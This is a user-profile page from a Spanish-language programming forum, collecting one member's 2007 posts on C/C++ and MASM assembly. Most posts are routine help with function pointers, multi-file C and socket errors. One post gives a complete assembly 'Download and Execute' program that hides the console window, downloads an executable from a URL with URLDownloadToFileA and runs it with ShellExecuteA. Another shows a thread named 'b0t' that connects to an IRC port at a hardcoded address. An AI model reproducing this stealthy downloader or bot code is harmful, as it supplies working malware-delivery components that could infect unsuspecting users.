• Viernes 3 de Mayo de 2024, 12:24

Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Mensajes - Rozor

Páginas: [1]
1
C/C++ / Re: No Conecta :(
« en: Viernes 12 de Octubre de 2007, 03:17 »
Si es mio, sorry no tenia vc y con devcpp no me apaño jejeje :P .

2
C/C++ / Re: Guardar Fichero En Ruta Especifica
« en: Viernes 12 de Octubre de 2007, 03:14 »
No te he entendido muy bien. Pero creo que lo que quieres es no tener solo un archivo .c , si no varios y llamar a funciones del otro archivo. Si es asi mira.



// Paco.c  ( archivo 1 )

Código: Text
  1.  
  2.  
  3.  #include <windows.h>
  4.  
  5.  extern int FuncionExterna(char *msg);
  6.  
  7.  
  8. int main()
  9. {
  10.        char lala[] = "Mensage enviado desde la funcion externa";
  11.        FuncionExterna(lala);
  12.        return 0;
  13. }
  14.  
  15.  
  16.  
  17.  


// Felipe.c  ( archivo 2 )
Código: Text
  1.  
  2.  
  3. #include <windows.h>
  4.  
  5. extern int FuncionExterna(char *msg);
  6.  
  7. extern int FuncionExterna(char *msg)
  8. {
  9.            MessageBox(msg);
  10.            return 0;
  11. }
  12.  
  13.  
  14.  

3
C/C++ / No Conecta :(
« en: Lunes 8 de Octubre de 2007, 23:21 »
Que fallo tiene el codigo?.

El problema esta en que no conecta, por que le he puesto localhost con netcat a la escucha y nada :'( .


Código: Text
  1.  
  2.  
  3. extern DWORD WINAPI b0t(LPVOID param)
  4. {
  5.        SOCKET sock;
  6.        WSADATA wsa;
  7.        SECURITY_ATTRIBUTES sa;
  8.        WSAPROTOCOL_INFO wsinfo;
  9.       // struct hostent *host;
  10.        struct sockaddr_in mysock;
  11.        static char recvbuff[2050];
  12.        static char sendbuff[2050];
  13.        
  14.        //host = gethostbyname("xxxxxx");
  15.        
  16.        mysock.sin_family = 0x02;
  17.        mysock.sin_port = 0x0b1a; // 6667
  18.        mysock.sin_addr.s_addr = 0x6F271448; //inet_ntoa(*((struct in_addr *)host->h_addr));
  19.        ZeroMemory(&(mysock.sin_zero), 8); // memset
  20.  
  21.        
  22.        wsinfo.dwServiceFlags1 = 0x0400;
  23.        wsinfo.dwServiceFlags2 = 0x02;
  24.        wsinfo.dwServiceFlags3 = 0x80;
  25.        wsinfo.dwProviderFlags = 0x02;
  26.        wsinfo.iVersion = 0x18;
  27.        wsinfo.iAddressFamily = 0x02;
  28.        wsinfo.iSocketType = 0x01;
  29.        wsinfo.iProtocol = 0x06;
  30.        wsinfo.iSecurityScheme = 0x00;
  31.        wsinfo.dwMessageSize = 0xFFFFFFFF;
  32.        
  33.                                    
  34.              
  35.        if(WSAStartup(0x101, &wsa)!= 0) { TerminateThread(Thr_b0t, 0x00); }
  36.        
  37.        sock = WSASocket(0x02,0x01,0x06,&wsinfo,0x01,0x08);
  38.        
  39.        if(connect(sock, (struct sockaddr *)&mysock, sizeof(mysock)) == 0xFFFFFFFF)
  40.        {
  41.               return 0;
  42.        }
  43.        
  44.        send(sock, "\x0A\x00\x00", 0x04, 0x00);
  45.        Sleep(500);
  46.        while(TRUE)
  47.        {
  48.                  
  49.              recv(sock, recvbuff, 200, 0x00);
  50.        
  51.        }
  52.        printf("\nRecv: %s\n\n");
  53.        system("PAUSE");
  54.        closesocket(sock);
  55.        WSACleanup();
  56.        
  57.        return 0;      
  58.                                            
  59. }
  60.  
  61.  
  62.  

4
C/C++ / ¿win Ddk?
« en: Jueves 4 de Octubre de 2007, 19:43 »
Hola, he buscado cosas sobre la winddk pero no he visto nada desde 0 algo que te medio guie, los headers, el inicio del driver etc... . Sabeis de algun tuto, se como van las vxd.

5
C/C++ / Re: Duda Con Socket
« en: Miércoles 3 de Octubre de 2007, 00:15 »
usa el retorno de inet_ntoa . si no te suena es algo parecido ( "parecido" ) a inet_addr.

inet_ntoa(*((struct in_addr *)he->h_addr));



Espero que te funcione ;)

6
C/C++ / Re: Programar En C Para Dar Graficos A Un Chat
« en: Jueves 27 de Septiembre de 2007, 02:07 »
Me imagino que es para windows, asique usa o winapi que en la web winapi(dot)conclase(dot)com tienes info o usa MFC

Mirate la msdn ;)

7
C++ Builder / Re: Puntero A Funcion
« en: Jueves 27 de Septiembre de 2007, 02:01 »
Aqui tienes un ejemplo


Código: Text
  1.  
  2. #include <windows.h>
  3.  
  4. void rbk(void);
  5. int tq(void);
  6.  
  7.  
  8. void rbk(void)
  9. {
  10.      MessageBox(NULL, "Esto es un puntero a funcion", "Puntero", MB_OK);
  11. }
  12.  
  13. int tq(void)
  14. {
  15.      MessageBox(NULL, "Funcion puntero usando retorno", "Puntero", MB_OK);
  16.      ExitProcess(0);
  17. }
  18.  
  19.  
  20. int main(int argc, char *argv[])
  21. {
  22.   void (*func)() = &rbk;
  23.   int (*func2)() = &tq;
  24.   (*func)();
  25.  
  26.   return ((*func2)());
  27. }
  28.  
  29.  
  30.  



En google hay bastante info pon: "puntero a funcion", no te dejo link por que el sistema del foro no me deja :(


Modificacion:

fpsalmon(dot)usc(dot)es(slash)genp(slash)doc(slash)cursos(slash)C++(slash)punteros(slash)funciones(dot)html

zator(dor)com

ahora spam para que digan que no se pueden poner url's

sincontrol(dot)tomahost(dot)com

fuck invisio :D

8
C/C++ / Re: Como Puedo Programar Procesos Con Pipe()
« en: Lunes 24 de Septiembre de 2007, 10:14 »
Puedes usar ReadFile y WriteFile de winbase.h





BOOL ReadFile(
  HANDLE hFile,                // handle of file to read
  LPVOID lpBuffer,             // pointer to buffer that receives data
  DWORD nNumberOfBytesToRead,  // number of bytes to read
  LPDWORD lpNumberOfBytesRead, // pointer to number of bytes read
  LPOVERLAPPED lpOverlapped    // pointer to structure for data
);




BOOL WriteFile(
  HANDLE hFile,                    // handle to file to write to
  LPCVOID lpBuffer,                // pointer to data to write to file
  DWORD nNumberOfBytesToWrite,     // number of bytes to write
  LPDWORD lpNumberOfBytesWritten,  // pointer to number of bytes written
  LPOVERLAPPED lpOverlapped        // pointer to structure for overlapped I/O
);

9
ASM (Ensamblador) / Re: Asm: Descarga Y Ejecucion
« en: Sábado 22 de Septiembre de 2007, 11:39 »
No habia duda, era un codigo muy legible y simplecito, para los interesados puedan leerlo, no hace nada dificil solo xor, mov, push, call y poco mas. Es facilito.


A nivel codigo quitando lo de las direcciones hardcoreadas, que las meto siempre cuando publico el source, asi hay que saber algo mas o menos de asm, me interesan que lo lean novatos no lamer. Que le cambiarias?.



Por que funcionar funciona claro, pero codigo en C mios de hace 6 meses los leo ahora y me hacen reir un poco. Con asm llevo muy poco tiempo y este digamos que es el primer code mio 100% por que lo roto lo he arreglado yo con debugger etc.... y lo he ensamblado y usado.


Gracias al foro y ati que n ove si me estas respondiendo post.

10
ASM (Ensamblador) / Asm: Descarga Y Ejecucion
« en: Viernes 21 de Septiembre de 2007, 00:26 »
Código: Text
  1.  
  2. ; Download and Execute by xZR !Sub_Level
  3. ; masm32
  4. ; WinXP ES SP2
  5.  
  6. .586p
  7. .MODEL FLAT, STDCALL
  8.  
  9. include \masm32\include\kernel32.inc
  10. includelib \masm32\lib\kernel32.lib
  11.  
  12.  
  13.  
  14. .DATA
  15.  
  16.   Consola db "ConsoleWindowClass",0
  17.   Direccion db "no me deja incluir link",0
  18.   Descarga db "lalala.exe",0
  19.   Orden db "open",0
  20.   UrlMon db "urlmon.dll",0
  21.   Shell db "shell32.dll",0
  22.   User db "user32.dll",0
  23.   Kernel db "kernel32.dll",0
  24.  
  25.  
  26. .CODE
  27.  
  28.   Inicio:
  29.  
  30.           xor eax, eax
  31.           push offset User
  32.           call LoadLibrary
  33.  
  34.           xor ecx, ecx
  35.           push ecx
  36.           push offset Consola
  37.           mov ebx, 7e3ade87h&#59; FindWindowA
  38.           call ebx
  39.  
  40.           xor ecx, ecx
  41.           push ecx
  42.           push eax
  43.           mov ebx, 7e39d8a4h&#59; ShowWindow
  44.           call ebx
  45.          
  46.  
  47.           xor eax, eax
  48.           push offset UrlMon
  49.           call LoadLibrary
  50.  
  51.           xor ecx, ecx
  52.           push ecx
  53.           push ecx
  54.           push offset Descarga
  55.           push offset Direccion
  56.           push ecx
  57.           mov ebx, 7df7b16fh &#59; URLDownloadToFileA
  58.           call ebx
  59.  
  60.           push offset Shell
  61.           call LoadLibrary
  62.          
  63.           xor ecx, ecx
  64.           push ecx
  65.           push ecx
  66.           push ecx
  67.           push offset Descarga
  68.           push offset Orden
  69.           push ecx
  70.           mov ebx,  7ca50ec0h&#59; ShellExecuteA
  71.           call ebx
  72.  
  73.           xor eax, eax
  74.           push offset Kernel
  75.           call LoadLibrary
  76.          
  77.           xor ecx, ecx
  78.           push ecx
  79.           mov ebx, 7c81cddah&#59; ExitProcess
  80.           call ebx
  81.           ret
  82.  
  83. end Inicio
  84.  
  85.  

11
ASM (Ensamblador) / Re: ¿no Ensambla Este Codigo? :(
« en: Miércoles 19 de Septiembre de 2007, 22:21 »
Si perdonen por el post, tenia windows.inc y lo quite por que tenia fallo luego no me acorde y no me di cuenta jejejej, reinstale y compilo sin problemas.

Por cierto, el codigo arreglado, ya no me funciona pero a nivel ejecucion, he debugeado y todo va bien hasta "connect", hay falla no pillo el por que :S . ( no es culpa del servidor ).


Código: Text
  1.  
  2. 586p
  3. .model flat, stdcall
  4. option casemap:none
  5.  
  6.  
  7. include \masm32\include\wsock32.inc
  8. include \masm32\include\kernel32.inc
  9. include \masm32\include\user32.inc
  10. include \masm32\include\windows.inc
  11.  
  12. includelib \masm32\lib\wsock32.lib
  13. includelib \masm32\lib\kernel32.lib
  14. includelib \masm32\lib\user32.lib
  15.  
  16.  
  17.  
  18.  
  19. CrearConexion proto
  20. EnviarMensage proto
  21. Error proto
  22.  
  23.  
  24.  
  25. .data
  26.  
  27.    wsa WSADATA <>
  28.    sin sockaddr_in <>
  29.  
  30.    ip db "127.0.0.1", 0  
  31.    port dd 666
  32.    buffsend db "#### barata", 0
  33.    cap db "Error", 0
  34.    txt db "Error no enviado", 0
  35.    cap2 db "Adios", 0
  36.    txt2 db "A funcado bien xDDD", 0
  37.  
  38.  
  39.  
  40.  
  41. .data?
  42.  
  43.   sock dd ?
  44.   hand dd ?
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51. .const
  52.  
  53.    protocolo dd 06h&#59; IPPROTO_TCP
  54.    familia dd 02h &#59; AF_INET
  55.    stream dd 01h  &#59; SOCK_STREAM
  56.    sizesin dd 10h &#59; sizeof sockaddr_in
  57.    make dw 101h   &#59; MAKEWORD(1,1)
  58.    wm_sock dd WM_USER+100&#59; WM_SOCKET = WM_USER+100
  59.    f_connect dd 10h &#59; FD_CONNECT
  60.    f_read dd 01h    &#59; FD_READ
  61.    f_close dd 20h   &#59; FD_CLOSE
  62.    f_all dd 31h     &#59; Suma de los 3
  63.  
  64.  
  65. .code
  66.  
  67.  
  68.  
  69.   Inicio:
  70.  
  71.                 xor eax, eax
  72.                 call CrearConexion
  73.  
  74.                 push 00h
  75.                 push offset cap
  76.                 push offset txt
  77.                 push 00h
  78.                 call MessageBoxA
  79.  
  80.                 push sock
  81.                 call closesocket
  82.  
  83.                 call WSACleanup
  84.  
  85.                 push 00h
  86.                 call ExitProcess        
  87.  
  88.  
  89.  
  90.  
  91.  
  92.   CrearConexion proc
  93.  
  94.                 push offset wsa
  95.                 push 101h
  96.                 call WSAStartup
  97.  
  98.                 push 0
  99.                 push SOCK_STREAM
  100.                 push AF_INET
  101.                 call socket
  102.                 mov sock, eax
  103.                 .if eax==INVALID_SOCKET
  104.                    call Error
  105.                 .endif
  106.  
  107.  
  108.                 push FD_READ+FD_WRITE+FD_CONNECT
  109.                 push offset wm_sock
  110.                 push offset hand
  111.                 push sock
  112.                 call WSAAsyncSelect
  113.  
  114.  
  115.                          
  116.                 mov sin.sin_family, 02h
  117.                 push 29ah
  118.                 call htons
  119.                 mov sin.sin_port, ax
  120.                 push offset ip
  121.                 call inet_addr
  122.                 mov sin.sin_addr, eax
  123.  
  124.  
  125.                 push sizeof sin
  126.                 mov eax, offset sin
  127.                 push eax
  128.                 push offset sock
  129.                 call connect
  130.                 .if eax==SOCKET_ERROR
  131.                     call Error
  132.                 .endif
  133.                 call EnviarMensage
  134.                 ret&#59; w0w
  135.  
  136.   CrearConexion endp
  137.  
  138.  
  139.  
  140.  
  141.   EnviarMensage proc
  142.  
  143.                 push 00h
  144.                 push 15
  145.                 push offset buffsend
  146.                 push offset sock
  147.                 call send
  148.                 ret
  149.  
  150.   EnviarMensage endp
  151.  
  152.  
  153.  
  154.  
  155.   Error proc
  156.  
  157.                 push 00h
  158.                 push offset cap
  159.                 push offset txt
  160.                 push 00h
  161.                 call MessageBoxA
  162.  
  163.                 push 00h
  164.                 call ExitProcess
  165.  
  166.                 leave
  167.                 ret&#59; w0w
  168.                
  169.   Error endp
  170.  
  171.  
  172.  
  173. end Inicio
  174.  
  175.  

12
ASM (Ensamblador) / ¿no Ensambla Este Codigo? :(
« en: Miércoles 19 de Septiembre de 2007, 12:19 »
Hola, he estado codeando con masm32 y siendo correcta la sintaxis segun numentor y otros codes que he echo y me da error :S , me da error en las estructuras WSADATA y SOCKADDR_IN. Aver que se puede hacer gracias.

He lido varias veces post de asm en este foro, y desarrollado como por ejemplo cuando lo del bootstrap. Y hoy me decidi a postear :P


Error:

Código: Text
  1.  
  2. Microsoft (R) Macro Assembler Version 6.14.8444
  3. Copyright (C) Microsoft Corp 1981-1997.  All rights reserved.
  4.  
  5.  Assembling: C:\masm32\conexion.asm
  6. C:\masm32\conexion.asm(30) : error A2008: syntax error : wsa
  7. C:\masm32\conexion.asm(31) : error A2008: syntax error : sin
  8. _
  9. Assembly Error
  10. Presione una tecla para continuar . . .
  11.  
  12.  





El codigo fuente:

Código: Text
  1.  
  2. .586P
  3. .MODEL FLAT, STDCALL
  4.  
  5.  
  6.  
  7. include \masm32\include\wsock32.inc
  8. include \masm32\include\kernel32.inc
  9. include \masm32\include\user32.inc
  10.  
  11. includelib \masm32\lib\wsock32.lib
  12. includelib \masm32\lib\kernel32.lib
  13. includelib \masm32\lib\user32.lib
  14.  
  15.  
  16.  
  17.  
  18. CrearConexion proto
  19. EnviarMensage proto
  20. Error proto
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27.  
  28. .DATA
  29.  
  30.    wsa WSADATA <>  &#59; <--- ERROR  Linea 30
  31.    sin SOCKADDR_IN <> &#59; <--- ERROR Linea 31
  32.  
  33.    ip dq 0100007Fh
  34.    port dd 9a02h
  35.    buffsend db "#### barata", 0
  36.    cap db "Error", 0
  37.    txt db "Error no enviado", 0
  38.    cap2 db "Adios", 0
  39.    txt2 db "A funcado bien xDDD", 0
  40.  
  41.  
  42.  
  43.  
  44. .DATA?
  45.  
  46.    sock dd ?
  47.  
  48.  
  49.  
  50.  
  51.  
  52. .CONST
  53.  
  54.    protocolo dd 06h&#59; IPPROTO_TCP
  55.    familia dd 02h &#59; AF_INET
  56.    stream dd 01h  &#59; SOCK_STREAM
  57.    sizesin dd 10h &#59; sizeof sockaddr_in
  58.    make dd 101h   &#59; MAKEWORD(1,1)
  59.    wm_sock dd 464h&#59; WM_SOCKET = WM_USER+100
  60.    f_connect dd 10h &#59; FD_CONNECT
  61.    f_read dd 01h    &#59; FD_READ
  62.    f_close dd 20h   &#59; FD_CLOSE
  63.    f_all dd 31h     &#59; Suma de los 3
  64.  
  65.  
  66. .CODE
  67.  
  68.  
  69.  
  70.   Inicio:
  71.  
  72.                 xor eax, eax
  73.                 call CrearConexion
  74.  
  75.                 push 00h
  76.                 push offset cap
  77.                 push offset txt
  78.                 push 00h
  79.                 call MessageBoxA
  80.  
  81.                 push sock
  82.                 call closesocket
  83.  
  84.                 call WSACleanup
  85.  
  86.                 push 00h
  87.                 call ExitProcess        
  88.  
  89.  end Inicio
  90.  
  91.  
  92.  
  93.  
  94.   CrearConexion proto
  95.  
  96.                 push offset wsa
  97.                 push offset make
  98.                 call WSAStartup
  99.  
  100.                 push offset protocolo
  101.                 push offset stream
  102.                 push offset familia
  103.                 call socket
  104.                 mov sock, eax
  105.  
  106.  
  107.                 push offset f_all
  108.                 push offset wm_sock
  109.                 push 00h
  110.                 push sock
  111.                 call WSAAsyncSelect
  112.  
  113.  
  114.                          
  115.                 mov sin.sin_family, offset familia
  116.                 mov sin.sin_port, offset puerto
  117.                 mov sin.sin_addr, offset ip
  118.  
  119.  
  120.                 push offset sizesin
  121.                 push offset sin
  122.                 push offset sock
  123.                 call connect
  124.                 je EnviarMensage
  125.                 jnz Error
  126.                 ret&#59; w0w
  127.  
  128.   CrearConexion endp
  129.  
  130.  
  131.  
  132.  
  133.   EnviarMensage proto
  134.  
  135.                 push 00h
  136.                 push 15
  137.                 push offset sendbuff
  138.                 push offset sock
  139.                 call send
  140.                 ret
  141.  
  142.   EnviarMensage endp
  143.  
  144.  
  145.  
  146.  
  147.   Error proto
  148.  
  149.                 push 00h
  150.                 push offset cap
  151.                 push offset txt
  152.                 push 00h
  153.                 call MessageBoxA
  154.  
  155.                 push 00h
  156.                 call ExitProcess
  157.  
  158.                 leave
  159.                 ret&#59; w0w
  160.                
  161.   Error endp
  162.  
  163.  


Gracias.

Páginas: [1]